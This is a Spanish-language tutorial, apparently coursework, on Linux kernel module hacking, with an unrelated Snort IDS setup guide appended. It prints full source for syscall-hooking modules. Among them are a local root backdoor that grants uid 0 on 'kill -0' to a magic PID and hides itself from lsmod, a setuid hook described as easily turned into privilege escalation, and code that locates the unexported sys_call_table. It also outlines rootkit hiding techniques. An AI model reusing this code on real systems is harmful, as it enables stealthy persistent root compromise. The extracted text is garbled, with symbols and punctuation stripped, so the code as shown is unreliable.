8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

